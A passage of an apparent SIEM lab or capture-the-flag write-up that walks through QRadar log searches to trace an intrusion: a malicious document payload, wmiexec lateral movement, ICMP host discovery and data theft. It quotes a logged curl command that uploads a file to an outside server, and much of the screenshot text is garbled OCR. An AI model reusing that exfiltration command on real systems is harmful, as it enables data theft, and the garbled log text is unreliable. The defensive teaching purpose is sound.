ey 0188 Ty Compressed s Fies Gearcres 08 Tow)  Dumion  S2ms
O Fies Searched 208 (TOMB Tora)  indes Fie Court 018 Tow)  liore Dataiy

Records Malched Over Time.

1720, 2116 P - 12031120, S16PM

- C . e FrE B Saiz s Gz , E e B
(e Chams)
Erent hame Logsourcs | EveniCount Tinew Low Levt Category souca1p sourca Port Desinstontr | O usgmame | msgniace
‘Sucorss At A uscr sccourt was cresied loc [ v s, 2020, 52727 Uses hccourt died s 1s2020 o IR T —

Displaying 110 1 af 1 ffems (Elapsed bme: 0:09:09.00)

=  IBMOQRadar Security Inteligence - Community Ecition

Dottod  Omes  LogAcidy  NebwockAchly  Assels

et se [ Crerse @ UapEwen e Posi [ B ergeny @ Freves @) s Lifu ) Otanen v
Saurce and Uestination information 8
N
Source IP o 192.168.20.20 Destination 1P 192.165.20.20
Source Asset Name. m Destination Asset Name W
Soureo Port o Dot o
Pre NAT Source (P Pre NAT Destinstion 1P
Pre NAT Source Port o Pre NAT Destination Part o
Post HAT Source 1P Post NAT Destination 1P
Post HAT Saurce Port o Post NAT Destination Port ]
Sourse 1Py 00080080 Destination 1Pv6 00000000
Source MAC 0006.00.00.00.00 Destination MAC 00.00.00.00.00.00
Payload Information
Hwap Tout
<ddxbow &9 01:27:23 X AgentLogFil ity 12.9.105 A Computer=DC.hackdefend. local CriginatingComputer=192.168.20.20 User=  Domains EventIDs=<720 EventIDXodes3720 EventTypes=3
Cventcategoryei3aze i rineurittens1coea0035 Levelalog alu success dad " usenaccom codesinfo  veseagesa user account uas created,  Subject: Security 10:
account flane; Account Domain: WACKDEFEND Logen I0: G23BsSos Wew Accownt: Security I0: WACKDEFEID\rasbof Account tome: coount Domaini WACKDEFENO Atiributes: S Account Nome: rasbo Display Mame: cvalue nof set> User Principal
bRt Iy S T s M i L M A B Ll T L O MU i F S
Additional Information
Protocel 25 an [ soo0ss2
Log Source [ Event Court [1
Custom Rules | Destination Asset Exists
Destnation Assel Vieiohl is Low
ikt A3t Vit
Eousce Assel Exals
BB G ategonyDefnion Post Exot Accousi Actvty
BB CalegenDefinicn Systém Cotfouiiien
BB .Categ: i LA RAGGED of Changed
cinon B
Contet i Losal o Lol
Custom Rulcs Partially CRRNAA Fulod Flliad b SHenisnis Fusnt b
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Q19: What is the PID of the process that performed injection?

By filtering on our infected host (192.168.10.15), and on Process Creation events, this returns 48 events. By

going through the logs, we can see in the payload information the compromised user “nour” runs a suspicious
file from the path “C:\Users\nour. HACKDEFEND\FSETPBEUslek.exe” responsible for the injection. PID located in

the payload information.

Q20: What is the name of the tool used for lateral movement?

| struggled with identifying the answer for this, but from what I've researched, the cmd process that was ran

earlier that showed us the attacker had gained elevated permissions by writing to >ADMINS, this is a common

template used by wmiexec. According to Nischal Khadgi, “wmiexec allows a threat actor to execute commands

on a remote system and/or establish a semi-interactive shell on a remote host. A detailed analysis along with the

hunting guide is provided below”.

According to Hunting for Impacket, wmiexec allows a threat actor to execute commands on a remote system

and/or establish a semi-interactive shell on a remote host.

= IBM QRadar Security Intelligence - Community Edition

Dashboard Offenses

Log Activity Network Activity Assels Reports Admin

System Time: 4:26 PM

7| Return to EventList [] Offense ) Map Event ., False Pasilive I} Extract Property  {0) Previous {ZjNewt 2 Print (5} Obfuscation ¥

LuIAI (UL

ParentCommandLine
(custom)
Parentimage
(custom)

ParentimageName
(custom)

Process
CommandLine

(custom)

Process Guid
(custom)

Realm {custom)

Scope (custom)

' Source Workstation
(custom)

NA

NiA

deleting files/possibly evidence, and redirecting output to ADMINS would suggest attacker has gained elevated permissions

NiA

Domain

Default Domain

Source and Destination Information

Source IP I 192.168.13.11 Destination IP 192.168.13.11
Source Asset Name NIA Destination Asset Name NIA

Source Port 0 Destination Port []

Pre NAT Source IP Pre NAT Destination IP

Pre NAT Source Port 0 Pre NAT Destination Port | 0

Post NAT Source IP Post NAT Destination IP

Q21: Attacker exfiltrated one file, what is the name of the tool used for exfiltration?

Knowing common ways for attackers to exfiltrate files may be through the use of curl, wget, or python servers,

we can filter on these to see if any process creations are logged related to these events.
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IBM QRadar Security Intelligence - Community Edition

Dashboard  Offenses  LogActivity ~ MetworkActivity  Assats  Reports  Admin System Time: 6:28 PM

Search.. ¥ Quick Searches ¥ S Add Filter | Save Criteria [} Save Resulls g, Cancel 9, Falce Posifve  Rules ¥ Actions ¥ (7]

Quick Filter » Search

Slart Time | 8/11/2020 = 2:16PM ~ EndTime | 12/31/2020 ~ 516 FPM - | Update |

View: SelectAn Option: |~ Display: Default (Normalized) ~ | Results Limit| 1,000

Completed
Original Filters:
Event Name is Process Create (Clear Filter)
Current Filters: ks
Payload Conltains is any of [curl or wget or py]  (Clear Filter)
¥ Current Statistics
Total Results 1 (1.4KB Total) Compressed Data Files Searched Subsearch (No Compressed Data Files) Duration ams
Data Files Searched Subsearch (Ne Data Files) Index File Count Subsearch (Na Index Files) More Details
Event Name Log Source ot Time & Low Level Category Source IP Source Port Des!in]
Process Create HD-FIN-02 2 Nov g, 2020, 10:30:02 AM Process Creation Success 192.168.10.29 '] 192 168.
. >

Displaying 1 to 1 of 1 items (Elapsed time: 0:00:00.071)

Query returns 1 event, and reviewing the command line process, we can see the use of curl to upload the file.

cmd.exe /Q /c curl -X PUT --upload-file sami.xlsx http://192.20.80.25:8000 1> \\127.0.0.1\ADM
IN$\__1604917392.4554174 2>&1

Noticing the sami.xlsx, considering the curl -X PUT, assuming 192.20.80.25:8000 accepts PUT requests, the file

would be uploaded there, and earlier in the scenario, we noticed sami.xlsx being deleted.

Q22: Who is the other legitimate domain admin other than the administrator?

We can find this by filtering on event id 4672, which is when an administrator-level account logs on.

Event Name. Lag Source Event Count Time > Low Level Gategory Source P Source Port Destination 1P Destinati  Usemame  Mognitude
Success Auit. Successiu ogon wih adminstative orspecial rnleges HoT01 2/ v 3, 2020, 127 13RI i Login Successiud 12180010 o 152168 1111 o wa —
Suscoss Aust: Successul lgon th admisrate of pecis prleges HO-FING2 2| o 8, 2020, 11:26:45 i 1921881029 o 1921681029 3 A —
Suscoss At Successiu logon wih adminsiaivo o special rleses e 1 Novs, 2020, 112643 P 21682020 o 192168200 o wa —
SUEEESS AUSH: SUcGeSSL 90 W BUTISITILVE Of $96C33 ITEes roTo1 2| v 5, 2020, 12620 1m21s 1 0 121681011 o A —
Susces Aust. Suosessiul ogon with amisialve o special irleges [ 1 Now3, 2020, 1125.10 P 192 185 2020 [ 1921682020 o [T —
Suscbss AUGH. Successiul 190 Wi BUTHISITELVE Of $96i3 TESEs 8/ Now 8, 2020, 12551 M Tm2is 0 1921681111 o WA fo—
Sutcess Aust: Suocessi 19on Wil BUTISITALVE Of $9acia ITAEes 1 tovs, 2020, 112550 P 121801 0 1921681111 o —
Susces Ausi. Suosessiul ogon wilh admisiative o special itleges 1 Novs, 2020, 1125.50 P Admin Login Successiud 102 1883111 o (RN o —
Sutcess AuSt. Successiul 19on Wil SUTHISITALVE Of $Decia iTEpes 1 o, 202, 112550 P Agenn Lon Suceessid RN o 192168111 o —_—
Suscess Aut. Suosessiul ogon wih admiisiiaive o special ileges HOT1 1 v, 2020, 112550 Ph Admin Login Successil TN o 1216111 3 —
Success Ausit. Successiul logon with adminisalve o special ileges [ 1/ Novs 2020, 1125 50 P . 192 185 2020 [ 1921682020 o —
Sutcess AuGH. Successil 190n Wil SATMISIALVE Of $96ca iTeges oo 1/ tovs, 2020, 112550 P 192168.20.20 o 1921682020 o —
Suscess Aust. Suosessiul logon wih admiisiiaive of specia itdleges oc 1 Nov, 2020, 112539 P10 1921882020 o 19218820 20 3 [ —
Suscess Ausit. Successiu ogon with adminisaive o special rleges oc 1 Nov:s, 2020, 1125.08 P 192 1582020 o 1921682020 5 wa —
Sutcess Aust. Sucsessiul 1on Wil SUTHISIALVE Of $96 iTaEges e 1 Novs, 2020, 112448 P Agen Lon Sucesssid 192168.20.20 0 o wa —
Suscass du. Suooessiu ogon with amiistiative o special itleges [ 2| Nw 3 2000 12437 BM8 Adimin Login Successiul 192 1682020 o 5 wa ——
Success Aust. Sucsessiul logon wih sdmstisive ofspecial pregés HOTO1 | Nav s, 2020, 1120 26 Pt Adain Login Suscesehd o218 111 o o wa o
Suscess dust: Suceessiul ogen with sdminiseatve o special rleges oc i cimin Login Successhi 1921882020 o o wa —
Sutcess Aust. Sucsessiu logon wih sdminsiiaive of specs ireces e 1 ‘Admn Lo Suscssehd 192 1892020 o o wa —

Q23: The attacker used the host discovery technique to know how many hosts available in a certain network,

what is the network the hacker scanned from the host IP 1 to 30?
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To find information on the network the threat actor scanned from the host IP 1 to 30, we can filter on port 8 for

ICMP requests, and reviewing the destination IPs. Based off the logs, we can conclude from the second

compromised host at 192.168.10.15, the threat actor is scanning the destination IP range from 192.168.20.X

Current Filters:
Source Porlis 8 (Clear Fiter)
* Current Statisti

Tetal Russ (TOETHN)  CompeawdDataFlsSewchel QBTN  Dumson  842ms
OntaFmsSensad  MGISTOMBTIAN) e e Count 0BT MaceDatsin
Records Matched Over Time

Resel Zoom

0

filtering on port 8 for ICMP requests

19720, 10:36 AM - 1211320, 1:36 A

Event Name. Log Source. Event Count
cannsction recesd b Zeek_conn
connection recerd Zaek_conn
cannection recers Zeek_conn
nection receed Zeek_conn
connection recers Zeek_conn
cannection reces Zeek_conn
connecton recerd Zeek_conn
connection record Zeek_con
cannectien recesd Zeek_conn
connection recerd Zeek_conn
connectien recerd Zeek_conn
connection receed Zeek_conn
Zeek_com
Zeek_com
Zoek_com
connection recern Zoek_conn
canneclion recor Zoek_gonn

(¥ Coam)

Time

1 Nov 8, 2020, 11:51:08 P
110V 6. 2020, 10:47:12PM
1 Nov . 2020, 11.08.10PM.
1 1oV 6. 2020, 11.08.06 P
1 1oV 6. 2020, 11:08.03 PM
1 Nov 8, 2020, 11.07.58 P
1 1oV 6. 2020, 11.07.53 P
1 Hov 6. 2020, 11.07.48 PM.
1 Nov 6. 2020, 11.07.45 P
1/ 1oV 6. 2020, 11.07.41PM.
1 Nov . 2020, 11.07.37 P
1 Nov G, 2020, 11.07.37 Pl
1 lov 9. 3020, G.48.40 AM

1/ Wov 6, 2020, 11:07:25 P
1 Nov €.2020, 11.07:21 P,

528 S o o
Law Level Category Source 1P

Heffiow Record 182.168.13.11

Netfiow Recora 192168.10.15

Netfiov Record
Netow Record
Nethow Record
Hetfiow Record
Nethow Record
Netfiow Record
Heffiows Record
Nethow Record
Netfew Recerd
Hetieur Record

Netfiow Record
Netfiow Record

Q24: What is the name of the employee who hired the attacker?

152.168.10.15

Saurce Port Destination 1P
1 205.185.216.10

152.168.20.30

o210 202
192.168.20.x range o
T2t 202

182.168.10.15
152.168.10.15
182.168.10.15
182.168.10.15
152.168.10.15
182.168.13.11
162.168.10.15
152.168.10.15
192.166.10.15
152.168.10.15

1821682024
1821682023
1821682022
1821682021
1821682020
1821682020
152168.20.18
152.163.20.18
1921662047
152.168.20.16

=
B
ELe

Going back to the suspicious .xlsx file that was exfiltrated, although we do not know the contents, we do know

the file name was “sami.xIsx”, which was uploaded through wmiexec.py. We can infer that sami is a name, and

potentially the file came from an employee named sami, which was confirmed by the answer.

Overview

From what | observed, the attacker gained initial access through a malicious document

(important_instructions.docx), which executed a payload (FSETPBEUslek.exe) on the host 192.168.10.55 under

the user “nour”. Using PowerShell and wmiexec.py, the attacker escalated privileges, created a new account, and

moved laterally to another host (192.168.10.15). They performed host discovery using ICMP scans (possibly

through the use of nmap), searched for sensitive project data related to “project48”, and ultimately exfiltrated the

file sami.xIsx to their external server on 192.20.80.25:8000 using curl. Finally, they attempted to cover their tracks

by deleting evidence and checking logging configurations. The threat actor demonstrated thorough persistence

techniques, privilege escalation, lateral movement, and data exfiltration.

Key Takeaways
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¢ QRadar provides powerful log analysis capabilities for incident response

¢ Understanding AQL (Ariel Query Language) is essential for effective SIEM analysis
¢ Event correlation helps identify complex attack chains

e Proper log parsing and filtering is crucial for threat hunting

e Attackers often use common tools like PowerShell, wmiexec, and curl for lateral movement and exfiltration
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